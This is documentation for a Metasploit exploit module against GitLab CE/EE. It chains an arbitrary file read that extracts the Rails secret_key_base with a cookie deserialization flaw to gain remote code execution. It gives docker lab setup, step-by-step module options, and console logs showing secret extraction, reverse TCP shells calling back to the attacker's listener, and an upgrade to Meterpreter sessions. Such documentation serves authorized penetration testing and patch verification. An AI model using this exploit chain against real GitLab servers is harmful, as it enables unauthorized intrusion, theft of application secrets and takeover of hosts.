## Vulnerable Application ### Description This module provides remote code execution against GitLab Community Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file read to extract the Rails "secret_key_base", and gains remote code execution with a deserialization vulnerability of a signed 'experimentation_subject_id' cookie that Gitlab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later, and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable `experimentation_subject_id` cookie was introduced. Tested on GitLab 12.8.1 and 12.4.0. ### Setup Running GitLab 12.8.1 with docker: ``` sudo docker run \ --rm \ --publish 443:443 --publish 80:80 --publish 22:22 \ --name gitlab \ gitlab/gitlab-ee:12.8.1-ee.0 ``` The application will be available on port 80 or 443. This may take a long time. #### Setting up SSL This step is **optional** and only required if you wish to enable HTTPS for an arbitrary test URL such as `gitlab.example.com` Connect to the running Gitlab instance: ``` sudo docker exec -it gitlab /bin/bash ``` Add these lines to `/etc/gitlab/gitlab.rb`: ``` external_url "https://gitlab.example.com" letsencrypt['enable'] = false ``` Use OpenSSL to create a self signed certificate and key: ``` mkdir -p /etc/gitlab/ssl chmod 755 /etc/gitlab/ssl cd /etc/gitlab/ssl openssl req -x509 -sha256 -nodes -days 365 -newkey rsa:2048 -keyout gitlab.example.com.key -out gitlab.example.com.crt ``` Reconfigure GitLab: ``` gitlab-ctl reconfigure ``` On your host machine modify your `/etc/hosts` file: ``` 127.0.0.1 gitlab.example.com ``` Visit the test URL in your browser and either ignore the certificate warnings or add it to continue: ``` https://gitlab.example.com/ ``` #### Creating a user You can either create a user account normally or programmatically as shown below. Connect to the running Gitlab instance: ``` sudo docker exec -it gitlab /bin/bash ``` Open an interactive rails console: ``` gitlab-rails console -e production ``` Optional - Set the Gitlab `root` account credentials: ``` admin = User.where(id: 1).first admin.update!( password: 'password123', password_confirmation: 'password123', confirmation_token: nil, confirmed_at: Time.now, confirmation_sent_at: nil, failed_attempts: 0 ) admin.skip_reconfirmation! ``` Create a normal user account: ``` user = User.new( username: 'test', name: 'test', email: 'test@example.com', password: 'password123', password_confirmation: 'password123', confirmation_token: nil, confirmed_at: Time.now, confirmation_sent_at: nil, failed_attempts: 0 ) user.save! user.skip_confirmation! ``` Once finished, kill the running docker container with: ``` docker kill gitlab ``` ## Verification Steps Check: 1. Run the application 1. Start msfconsole 1. `use exploit/multi/http/gitlab_file_read_rce` 1. `set RPORT ` 1. `set RHOST ` 1. `set USERNAME test@example.com` 1. `set PASSWORD password123` 1. `check` ``` [*] 10.10.10.111:9999 - The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version. ``` Run: 1. Run the application 1. Start msfconsole 1. `use exploit/multi/http/gitlab_file_read_rce` 1. `set RPORT ` 1. `set RHOST ` 1. `set USERNAME test@example.com` 1. `set PASSWORD password123` 1. `set LPORT ` 1. `set LHOST ` 1. `run` 1. You should get a shell. Specifying a `SECRET_KEY_BASE` to avoid the arbitrary file read: 1. Run the application 1. Start msfconsole 1. `use exploit/multi/http/gitlab_file_read_rce` 1. `set RPORT ` 1. `set RHOST ` 1. `set SECRET_KEY_BASE 301ee96a664dc634b8766368d26b4ef4deb46c593490dc1f39526e0f278f2dfcb9f5c9bb13c74b5377848259a533c9ad137885c01a4387deb799e14589a6fbac` 1. `set LPORT ` 1. `set LHOST ` 1. `run` 1. You should get a shell. ## Scenarios ### Arbitrary File Read to RCE ``` msf6 exploit(multi/http/gitlab_file_read_rce) > options Module options (exploit/multi/http/gitlab_file_read_rce): Name Current Setting Required Description ---- --------------- -------- ----------- DEPTH 15 yes Define the max traversal depth PASSWORD password123 yes The password for the specified username Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 80 yes The target port (TCP) SECRETS_PATH /opt/gitlab/embedded/service/gitlab-rails/ yes The path to the secrets.yml file config/secrets.yml SECRET_KEY_BASE no The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /users/sign_in yes The path to the vulnerable application USERNAME test@example.com yes The username to authenticate as VHOST gitlab.example.com no The virtual host name to use in requests Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST docker0 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(multi/http/gitlab_file_read_rce) > rerun [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version. [*] Logged in to user test [*] Created project /test/pKUuduxC [*] Created project /test/5W350yP1 [*] created issue /test/pKUuduxC/issues/1 [*] Executing arbitrary file load [+] File saved as: '/home/kali/.msf4/loot/20201121213408_default_127.0.0.1_gitlab.secrets_675303.txt' [+] Extracted secret_key_base e41f3a01d22ff6a694be33bf2e5d40af89b788088938203c3478818da595731ada41c2b9c3d3caff79de7647a0c287bb68f6ca1912904a766237543013c46594 [*] Attempting to delete project /test/pKUuduxC [*] Command shell session 23 opened (172.17.0.1:4444 -> 172.17.0.2:34058) at 2020-11-21 21:34:08 -0500 [*] Deleted project /test/pKUuduxC [*] Attempting to delete project /test/5W350yP1 [*] Deleted project /test/5W350yP1 whoami git ^Z Background session 23? [y/N] y msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 23 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [23] [!] SESSION may not be compatible with this module. [*] Upgrading session ID: 23 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 172.17.0.1:4433 [*] Sending stage (976712 bytes) to 172.17.0.2 [*] Meterpreter session 24 opened (172.17.0.1:4433 -> 172.17.0.2:45442) at 2020-11-21 21:34:34 -0500 [*] Command stager progress: 100.00% (773/773 bytes) msf6 exploit(multi/http/gitlab_file_read_rce) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 23 shell ruby/ruby 172.17.0.1:4444 -> 172.17.0.2:34058 (127.0.0.1) 24 meterpreter x86/linux git @ 622b6a4c6722 (uid=998, gid=998, euid=998, egid=998) @ 17 172.17.0.1:4433 -> 172.17.0.2:45442 (172.17.0.2) 2.17.0.2 msf6 exploit(multi/http/gitlab_file_read_rce) > ``` ### Specifying SECRET_KEY_BASE to RCE ``` msf6 exploit(multi/http/gitlab_file_read_rce) > options Module options (exploit/multi/http/gitlab_file_read_rce): Name Current Setting Required Description ---- --------------- -------- ----------- DEPTH 15 yes Define the max traversal depth PASSWORD no The password for the specified username Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file: ' RPORT 80 yes The target port (TCP) SECRETS_PATH /opt/gitlab/embedded/service/gitlab-rails yes The path to the secrets.yml file /config/secrets.yml SECRET_KEY_BASE 301ee96a664dc634b8766368d26b4ef4deb46c593 no The known secret_key_base from the secrets.yml - this skips the arbitrary f 490dc1f39526e0f278f2dfcb9f5c9bb13c74b5377 ile read if present 848259a533c9ad137885c01a4387deb799e14589a 6fbac SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /users/sign_in yes The path to the vulnerable application USERNAME no The username to authenticate as VHOST gitlab.example.com no HTTP server virtual host Payload options (generic/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST docker0 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf6 exploit(multi/http/gitlab_file_read_rce) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [*] Executing automatic check (disable AutoCheck to override) [+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version. [*] Command shell session 12 opened (172.17.0.1:4444 -> 172.17.0.2:58026) at 2020-12-06 19:53:24 -0500 ^Z Background session 12? [y/N] y msf6 exploit(multi/http/gitlab_file_read_rce) > sessions -u 12 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [12] [!] SESSION may not be compatible with this module. [*] Upgrading session ID: 12 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 172.17.0.1:4433 [*] Sending stage (976712 bytes) to 172.17.0.2 [*] Meterpreter session 13 opened (172.17.0.1:4433 -> 172.17.0.2:56876) at 2020-12-06 19:53:42 -0500 [*] Command stager progress: 100.00% (773/773 bytes) msf6 exploit(multi/http/gitlab_file_read_rce) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 12 shell ruby/ruby 172.17.0.1:4444 -> 172.17.0.2:58026 (127.0.0.1) 13 meterpreter x86/linux git @ 5d733775a28a (uid=998, gid=998, euid=998, egid=998) @ 172 172.17.0.1:4433 -> 172.17.0.2:56876 (172.17.0.2) .17.0.2 msf6 exploit(multi/http/gitlab_file_read_rce) > ```